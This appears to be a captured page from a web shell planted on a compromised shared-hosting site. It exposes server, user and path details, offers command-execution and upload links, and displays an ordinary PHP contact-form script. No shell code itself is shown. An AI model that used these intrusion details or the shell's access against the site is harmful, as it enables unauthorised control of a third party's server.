|
Server IP : 10.111.40.2 / Your IP : 216.73.217.64 Web Server : Apache System : Linux webd002.cluster111.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : comimage ( 973271) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/comimage/../comimage/agencecomimage.com/css/../css/../admin/../css/../themes/inc/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require(dirname(__FILE__).'/../../inc/tools/configuration.php');
require(dirname(__FILE__).'/../../inc/tools/recaptcha/autoload.php');
if($_POST['ctrl'] == 1){
//********************* FORMULAIRE DE CONTACT ************************
session_start();
$recaptcha = new \ReCaptcha\ReCaptcha(__SECRET_KEY__);
$resp = $recaptcha->verify($_POST['g-recaptcha-response'], $_SERVER['REMOTE_ADDR']);
if(empty($_POST['nom']) || empty($_POST['societe']) || empty($_POST['email']) || empty($_POST['tel']) || empty($_POST['message'])){
$_SESSION["msg"]=1;
$_SESSION['formulaire'] = $_POST;
header("location:".HTTP_SERVEUR);
exit();
}else{
$nom = textLibre($_POST['nom']);
$societe = textLibre($_POST['societe']);
$email = minuscule($_POST['email']);
$tel = textLibre($_POST['tel']);
$message = textareaLibre($_POST['message']);
$verifEmail = conformEmail($email);
$_SESSION['formulaire'] = $_POST;
if ($resp->isSuccess()) {
// verified!
if($verifEmail != 1){
$_SESSION["msg"]=3;
header("location:".HTTP_SERVEUR);
exit();
}else{
$codehtml="<h1 style=\"text-align:center;font-size:18px;\">FORMULAIRE DE CONTACT</h1>"."\n".
"<p>Date du message: <span style=\"font-weight:bolder;color:#2B2E30;\">".date("d-m-Y H:i:s")."</span></p>"."\n".
"<p>Identité : <span style=\"font-weight:bolder;color:#2B2E30;\">".ucfirst($nom)."</span></p>" ."\n".
"<p>Societé : <span style=\"font-weight:bolder;color:#2B2E30;\">".ucfirst($societe)."</span></p>" ."\n".
"<p>Email : <span style=\"font-weight:bolder;color:#2B2E30;\">".$email."</span></p>" ."\n".
"<p>Téléphone : <span style=\"font-weight:bolder;color:#2B2E30;\">".$tel."</span></p>" ."\n".
"<p>Message : <span style=\"font-weight:bolder;color:#2B2E30;\">".$message."</span></p>" ."\n";
$codehtml1='<p>Un visiteur a envoyé un mail sur "'.$_SERVER['HTTP_HOST'].'" via le formulaire de contact le "'.date("d-m-Y H:i:s").'"</p>';
if (preg_match('/http(s?):\/\//ism', $message)) :
else :
envoyerUnMailReponse(MAIL_CORRESPONDANCE, "Formulaire de contact", $codehtml, $email);
endif;
$_SESSION["msg"]=4;
header("location:".HTTP_SERVEUR);
exit();
}
} else {
$_SESSION["msg"]=2;
header("location:".HTTP_SERVEUR);
exit();
}
}
//*************************************************************************
}
elseif($_POST['ctrl'] == 2){
}
else{
header("location:".HTTP_SERVEUR);
exit();
}
?>